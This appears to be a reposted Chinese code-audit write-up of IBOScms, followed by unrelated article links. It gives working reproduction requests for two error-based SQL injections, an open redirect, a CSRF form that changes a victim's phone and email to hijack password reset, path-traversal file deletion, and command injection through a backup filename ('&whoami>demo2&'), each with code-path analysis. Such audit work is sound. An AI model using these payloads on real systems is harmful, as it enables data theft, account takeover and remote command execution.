8、IBOScms代码审计

news2024/9/28 18:56:03

一、sql注入

1、sql注入(Ⅰ)

限制

r=report/api/getlist
{"offset":0,"type":"send","keyword":{"subject":"111') AND (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- qw"}}

复现

POST /?r=report/api/getlist HTTP/1.1
Host: www.iboscms.com
Content-Length: 124
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Content-Type: application/json;utf-8
Origin: http://www.iboscms.com
Referer: http://www.iboscms.com/?r=report/default/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 4c3g_saltkey=63nNHRVr; lastautologin=0; PHPSESSID=8fc8uo57ohjf3stjapiaq5j4n7; 4c3g_ulastactivity=5fe9ne6epqckB7fpglBVLuvu3nk2fL2z5pEkNLKlV%2BDBUL6J780o; 4c3g_creditremind=0D0D2D0D0D0D1; 4c3g_creditbase=0D0D0D0D0D0; 4c3g_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; 4c3g_lastactivity=1686657315; 4c3g_sid=OpcVsd
Connection: close

{"limit":10,"offset":0,"type":"send","keyword":{"subject":"') AND (updatexml(1,concat(0x7e,(select user()),0x7e),1))-- qw"}}

在这里插入图片描述
在这里插入图片描述

代码

根据路由找到相关代码文件,参数getlist指定一个地址

在这里插入图片描述

进入参数指定的地址文件。向知道有没有进到此代码,可以输出加结束代码

在这里插入图片描述
在这里插入图片描述

首先进去的getListCondition函数,是用来拼接了sql语句。可控的参数是$keyword数组里的subject,拼接后赋值给$condition,最后return $condition;

在这里插入图片描述

在进入getReportByCondition方法,执行了拼接的语句,而报错语句是在$list里出现的。所有的过程中没有对特殊字符进行过滤

在这里插入图片描述

2、sql注入(Ⅱ)

限制

r=file/company/ajaxent&op=download&fids=
闭合:  ')

复现

2')+and+updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,%40%40datadir),1)%20--%20w
GET /?r=file/company/ajaxent&op=download&fids=2')+and+updatexml(1,concat(0x7e,database(),0x7e,user(),0x7e,%40%40datadir),1)%20--%20w HTTP/1.1
Host: www.iboscms.com
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.iboscms.com/?r=file/company/index
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 4c3g_saltkey=63nNHRVr; lastautologin=0; 4c3g_creditbase=0D0D22D4D0D0; 4c3g_creditremind=0D0D1D1D0D0D1; 4c3g_creditrule=%E5%AE%8C%E6%88%90%E4%BB%BB%E5%8A%A1%E6%8C%87%E6%B4%BE; 4c3g_lately.SelectBox=u_3%252Cp_3%252Cp_2%252Cc_0%252Cp_2%252Cr_1%252Cu_3%252Cc_0%252Cp_1%252Cr_1%252Cu_3%252Cc_0%252Cp_2%252Cr_1%252Cu_1%252Cu_2%252Cu_3%252Cu_4%252Cu_1%252Cu_2%252Cc_0%252Cu_2%252Cc_0%252Cp_2%252Cu_3%252Cu_1%252Cu_2%252Cp_3%252Cp_2%252Cu_3%252Cu_1%252Cc_0%252Cp_24%252Cu_2%252Cu_1; 4c3g_ulastactivity=16826P2hblgxZ2YZv%2FzkL0qm4ZyvY0x7ge29SnM1%2BRZpBp0SSRm5; PHPSESSID=ur67vfu26i7f2fj01v2aol3r37; 4c3g_lastactivity=1687867850; 4c3g_sid=37WQgG
Connection: close


在这里插入图片描述
在这里插入图片描述

代码

定位到函数,接受op,判断op是否在规定的数组,在数组就this->$op

在这里插入图片描述

调用了download的方法

在这里插入图片描述

经过一系列查找,找到了sql语句拼接执行的地方

在这里插入图片描述

三、url重定向

限制

username=admin&password=admin&loginsubmit=&cookietime=&refer=%2Ffavicon.ico

复现

POST /?r=user/default/login HTTP/1.1
Host: www.iboscms.com
Content-Length: 142
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.iboscms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.iboscms.com/?r=user/default/login
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 4c3g_saltkey=63nNHRVr; lastautologin=0; PHPSESSID=8fc8uo57ohjf3stjapiaq5j4n7; 4c3g_ulastactivity=5fe9ne6epqckB7fpglBVLuvu3nk2fL2z5pEkNLKlV%2BDBUL6J780o; 4c3g_creditremind=0D0D2D0D0D0D1; 4c3g_creditbase=0D0D0D0D0D0; 4c3g_creditrule=%E6%AF%8F%E5%A4%A9%E7%99%BB%E5%BD%95; 4c3g_lastactivity=1686657315; 4c3g_sid=p26426
Connection: close

username=admin&password=admin&loginsubmit=%E7%99%BB+%E5%BD%95&cookietime=86400&formhash=&refer=http://www.baidu.com&find_email=&find_username=

在这里插入图片描述

代码

第一个if判断如果用户不是游客,就跳到main/default/index目录;
第二个判断如果loginsubmit参数不为1,如果用户没有提交表单,则会重定向到应用程序的登录页面(这里判断如果不是get请求就进入else)

在这里插入图片描述

getRequest用来接受参数,将接受的参数调用dologin函数

在这里插入图片描述

第一个个if,如果密码为空或者密码不匹配提示错误;loginCheck、getIdentitiesByNameOfPass、loginAuthenticate三个方法再去验证账号密码是否匹配;
第二个if,如果用户存在并且不是inajax,就调用handleWebLogin方法

在这里插入图片描述

getUrlForward获取登录后网址

在这里插入图片描述

$refer变量如果不为空,指向哪里跳到哪里

在这里插入图片描述

四、csrf

限制

对方处于登录状态

复现

POST /?r=user/home/personal HTTP/1.1
Host: www.iboscms.com
Content-Length: 118
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.iboscms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.iboscms.com/?r=user/home/personal&op=profile
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 4c3g_saltkey=63nNHRVr; lastautologin=0; 4c3g_ulastactivity=9a75IhoWmYHvx0re%2BUj3ZTW5g2whEZGOqefKDzKjP3lGTLoxpI%2BR; 4c3g_creditbase=0D0D22D4D0D0; 4c3g_creditremind=0D0D1D1D0D0D1; 4c3g_creditrule=%E5%AE%8C%E6%88%90%E4%BB%BB%E5%8A%A1%E6%8C%87%E6%B4%BE; 4c3g_lately.SelectBox=u_3%252Cp_3%252Cp_2%252Cc_0%252Cp_2%252Cr_1%252Cu_3%252Cc_0%252Cp_1%252Cr_1%252Cu_3%252Cc_0%252Cp_2%252Cr_1%252Cu_1%252Cu_2%252Cu_3%252Cu_4%252Cu_1%252Cu_2%252Cc_0%252Cu_2%252Cc_0%252Cp_2%252Cu_3%252Cu_1%252Cu_2%252Cp_3%252Cp_2%252Cu_3%252Cu_1%252Cc_0%252Cp_24%252Cu_2; PHPSESSID=bde57e1jbl4eq2bqduuejptr55; 4c3g_lastactivity=1687784554; 4c3g_sid=piICL6
Connection: close

birthday=&bio=&mobile=15611223399&email=33%40qq.com&qq=&weixin=&telephone=&address=&formhash=8d30a07a&op=profile&uid=1
伪造代码
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="http://www.iboscms.com/?r=user/home/personal" method="POST">
      <input type="hidden" name="birthday" value="" />
      <input type="hidden" name="bio" value="" />
      <input type="hidden" name="mobile" value="13311222222" />
      <input type="hidden" name="email" value="33&#64;qq&#46;com" />
      <input type="hidden" name="qq" value="" />
      <input type="hidden" name="weixin" value="" />
      <input type="hidden" name="telephone" value="" />
      <input type="hidden" name="address" value="" />
      <input type="hidden" name="formhash" value="8d30a07a" />
      <input type="hidden" name="op" value="profile" />
      <input type="hidden" name="uid" value="1" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

修改手机号和邮箱,可以通过手机号找回密码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

代码

根据路由进入代码文件,接受op,判断op是否在数组里,如果不在将$op设置为默认值'profile'

在这里插入图片描述

submitCheck方法验证是否有提交表单操作,else表示有提交并进行赋值

在这里插入图片描述

五、任意文件删除

限制

key%5B2023-06-13_6VvdkJok%5D=...\1.txt&dbSubmit=1
/被替换了使用\

复现

POST /?r=dashboard/database/restore HTTP/1.1
Host: www.iboscms.com
Content-Length: 48
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.iboscms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.iboscms.com/?r=dashboard/database/restore
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 4c3g_saltkey=63nNHRVr; lastautologin=0; 4c3g_lately.SelectBox=u_3%252Cp_3%252Cp_2%252Cc_0%252Cp_2%252Cr_1%252Cu_3%252Cc_0%252Cp_1%252Cr_1%252Cu_3%252Cc_0%252Cp_2%252Cr_1%252Cu_1%252Cu_2%252Cu_3%252Cu_4%252Cu_1%252Cu_2%252Cc_0%252Cu_2%252Cc_0%252Cp_2%252Cu_3%252Cu_1%252Cu_2%252Cp_3%252Cp_2%252Cu_3%252Cu_1%252Cc_0%252Cp_24%252Cu_2%252Cu_1; 4c3g_ulastactivity=bec4dBFZWyHzyRwk6rlqz%2F3M5X5aYM4f2c6e5yRhnHMLXT9QhCjB; PHPSESSID=tbo3bk1ptfgs2hr3r163tte7f4; 4c3g_lastactivity=1688044573; 4c3g_sid=8v888V
Connection: close

key%5B2023-06-13_6VvdkJok%5D=..\1.txt&dbSubmit=1
在date文件夹下新建1.txt

在这里插入图片描述
在这里插入图片描述

代码

dbSubmit参数存在,post接受的key是数组并且进行/替换为空,如果是文件就直接删除

在这里插入图片描述

六、命令注入

限制

数据备份方式选择系统 MySQL Dump (Shell) 备份

复现

&whoami>demo5&将ipconfig执行的结果保存到demo5文档中
POST /?r=dashboard/database/backup HTTP/1.1
Host: www.iboscms.com
Content-Length: 184
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://www.iboscms.com
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://www.iboscms.com/?r=dashboard/database/backup
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: 4c3g_saltkey=63nNHRVr; JEXp_saltkey=i95GW99U; JEXp_autologin=1; JEXp_ulastactivity=8206K0qI5%2FP8k%2FB1gRtuU56xFbGnyktaCrP6hW5rQWZwtpdkk5nD; PHPSESSID=nej6cftvup2cs8qd4jqcdmkul3; JEXp_lastactivity=1688126770; JEXp_sid=Z1sty8
Connection: close

backuptype=all&custom_enabled=1&method=shell&sizelimit=2048&extendins=0&sqlcompat=MYSQL41&sqlcharset=utf8&usehex=0&usezip=0&filename=2023-06-30_yD6OXW6L+%26whoami%3Edemo2%26&dbSubmit=1

在这里插入图片描述
在这里插入图片描述

代码

Database 类来执行数据库备份 databaseBackup() 方法

在这里插入图片描述

接受的参数filename文件名,进行了一波文件名后缀过滤,到这里知道$filename是可控的。所以只需要看$filename变量有没有做其他限制

在这里插入图片描述

这里又对$filename做了过滤,将 / 、 \\ 、 . 、 ' 替换为空并赋值给 $backupFileName,其次进入if ($method == 'multivol'),if里的也没有其他危险操作

在这里插入图片描述

$backupFileName在else里做了拼接赋值给了$dumpFile,此变量在453行做了拼接,而在php中反引号 ` 可以执行系统命令。

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1485633.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

项目-论坛系统

基于Spring前后端分离版本的论坛系统。 1、构建项目结构 common公共类&#xff1a;统一返回结果、全局变量、异常枚举信息config配置类&#xff1a;Swagger&#xff0c;用于自动生成CRUD和基本对象controller控制器类&#xff1a;用于接受前端信息和控制路由dao数据库访问类&…

uniapp聊天记录本地存储(详细易懂)

目录 目录 1、通过websocket拿取数据 2、获取聊天数据 3、聊天信息存储 、更新 4、读取聊天记录 5、发送信息&#xff0c;信息获取 6、最终效果 1.聊天信息的存储格式 2、样式效果 写聊天项目&#xff0c;使用到了本地存储。需要把聊天信息保存在本地&#xff0c;实时获…

synchrosized 的可重入特性、死锁、哲学家就餐问题以及解决死锁的方法等干货

文章目录 &#x1f490;synchrosized的可重入特性关于死锁&#xff1a;哲学家就餐问题&#x1f4a1;如何避免/解决死锁 &#x1f490;synchrosized的可重入特性 可重入特性&#xff1a;当一个线程针对一个对象同时加锁多次&#xff0c;不会构成死锁&#xff0c;这样的特性称为…

flynn发布服务小结

背景 flynn是一个基于容器的paas平台&#xff0c;可以快速的发布运行新的应用&#xff0c;用户只需要提交代码到git上&#xff0c;flynn就会基于提交的代码进行发布和部署&#xff0c;本文就简单看下flynn发布部署的流程 flynn发布服务 1.首先flynn会基于用户的web代码构建一…

二叉树的右视图,力扣

目录 题目&#xff1a; 我们直接看题解吧&#xff1a; 快速理解解题思路小建议&#xff1a; 审题目事例提示&#xff1a; 解题方法&#xff1a; 解题分析&#xff1a; 解题思路&#xff1a; 代码实现(DFS)&#xff1a; 代码1&#xff1a; 补充说明&#xff1a; 代码2&#xff1…

LeetCode---【链表的操作】

目录 206反转链表【链表结构基础】21合并两个有序链表【递归】我的答案【错误】自己修改【超出时间限制】在官方那里学到的【然后自己复写,错误】对照官方【自己修改】 160相交链表【未理解题目目的】在b站up那里学到的【然后自己复写,错误】【超出时间限制】对照官方【自己修改…

Mybatis插入数据时有外键怎么办?

今天在写代码的时候遇到了一个问题&#xff1a; 比方说我的数据库如下&#xff1a; 其中work_position和auth都是外键&#xff0c;关联了另一张表。 但我现在要往mysql里插入一条数据&#xff0c;如下&#xff1a; insert into t_employee_info(salary, work_time, work_posi…

Qt 简约又简单的加载动画 第七季 音量柱风格

今天和大家分享两个音量柱风格的加载动画,这次的加载动画的最大特点就是简单,只有几行代码. 效果如下: 一共三个文件,可以直接编译运行 //main.cpp #include "LoadingAnimWidget.h" #include <QApplication> #include <QGridLayout> int main(int argc…

飞天使-学以致用-devops知识点4-SpringBoot项目CICD实现(实验失败,了解大概流程)

文章目录 代码准备创建jenkins 任务测试推送使用项目里面的jenkinsfile 进行升级操作 文字版本流程项目构建 代码准备 推送代码到gitlab 代码去叩叮狼教育找 k8s 创建jenkins 任务 创建一个k8s-cicd-demo 流水线任务 将jenkins 里面构建时候的地址还有token&#xff0c; 给到…

langchain学习笔记(十)

Bind runtime args | &#x1f99c;️&#x1f517; Langchain 1、有时&#xff0c;我们希望使用常量参数调用Runnable序列中的Runnable&#xff0c;这些参数不是序列中前一个Runnable的输出的一部分&#xff0c;也不是用户的输入&#xff0c;这时可以用Runnable.bind() from …

离散系统的冲激响应和阶跃响应

离散系统的冲激响应和阶跃响应 方法一&#xff1a; 使用 impz()dstep() 求冲激和阶跃响应 \textbf{方法一&#xff1a;}使用\textbf{impz()}\textbf{dstep()}求冲激和阶跃响应 方法一&#xff1a;使用impz()dstep()求冲激和阶跃响应 方法二&#xff1a; 使用 filtic()filter() …

精准唇语同步:Wav2Lip 引领视频技术前沿 | 开源日报 No.188

Rudrabha/Wav2Lip Stars: 8.4k License: NOASSERTION Wav2Lip 是一个准确地在野外进行视频唇语同步的项目。 该项目的主要功能、关键特性和核心优势包括&#xff1a; 可以高精度地将视频与任何目标语音进行唇语同步适用于任何身份、声音和语言&#xff0c;也适用于 CGI 面孔和…

SpringCloud负载均衡源码解析 | 带你从表层一步步剖析Ribbon组件如何实现负载均衡功能

目录 1、负载均衡原理 2、源码分析 2.1、LoadBalanced 2.2、LoadBalancerClient 2.3、RibbonAutoConfiguration 2.4、LoadBalancerAutoConfiguration 2.5、LoadBalancerIntercepor⭐ 2.6、再回LoadBalancerClient 2.7、RibbonLoadBalancerClient 2.7.1、DynamicServe…

Git 如何上传本地的所有分支

Git 如何上传本地的所有分支 比如一个本地 git 仓库里定义了两个远程分支&#xff0c;一个名为 origin&#xff0c; 一个名为 web 现在本地有一些分支是 web 远程仓库没有的分支&#xff0c;如何将本地所有分支都推送到 web 这个远程仓库上呢 git push web --all

一定用得到数据预处理:去噪、滤波方法!限幅滤波、中值滤波、均值滤波、递推平均滤波,直接运行!

​适用平台&#xff1a;Matlab2020版本及以上 在实际应用中&#xff0c;滤波、去噪都是用于信号处理的工具&#xff0c;通常用于机器学习/深度学习技术前的数据预处理阶段&#xff0c;主要作用在于对信号进行平滑处理或者去除噪声&#xff0c;从而提取出信号中的有用信息或者改…

数据库原理(一)

1、基本概念 学号姓名性别出生年月籍贯220101张三男2003江苏220102李四男2003山东220103王五女2003河北220104赵六女2003天津220105张四男2003北京220106李五女2003江苏220107王六女2003山东220108张七男2003河北220109张九男2003天津220110李十女2003北京 1.1数据&#xff0…

Leetcoder Day36| 动态规划part03

343. 整数拆分 给定一个正整数 n&#xff0c;将其拆分为至少两个正整数的和&#xff0c;并使这些整数的乘积最大化。 返回你可以获得的最大乘积。 示例 1: 输入: 2输出: 1解释: 2 1 1, 1 1 1。 示例 2: 输入: 10输出: 36解释: 10 3 3 4, 3 3 4 36。说明: 你可以假设 …

LeetCode102.二叉树的层序遍历

题目 给你二叉树的根节点 root &#xff0c;返回其节点值的 层序遍历 。 &#xff08;即逐层地&#xff0c;从左到右访问所有节点&#xff09;。 示例 输入&#xff1a;root [3,9,20,null,null,15,7] 输出&#xff1a;[[3],[9,20],[15,7]]输入&#xff1a;root [1] 输出&am…

刷题日记:面试经典 150 题 DAY3

刷题日记&#xff1a;面试经典 150 题 DAY3 274. H 指数238. 除自身以外数组的乘积380. O(1) 时间插入、删除和获取随机元素134. 加油站135. 分发糖果 274. H 指数 原题链接 274. H 指数 重要的是都明白H指数到底是是个啥。注意到如果将引用数从大到小排序&#xff0c;则对于…

使用 Docker 部署 MrDoc 在线文档管理系统

1&#xff09;MrDoc 介绍 MrDoc 简介 MrDoc 觅思文档&#xff1a;https://mrdoc.pro/ MrDoc 使用手册&#xff1a;https://doc.mrdoc.pro/p/user-guide/ MrDoc 可以创建各类私有化部署的文档应用。你可以使用它进行知识管理、构建团队文库、制作产品手册以及在线教程等。 Mr…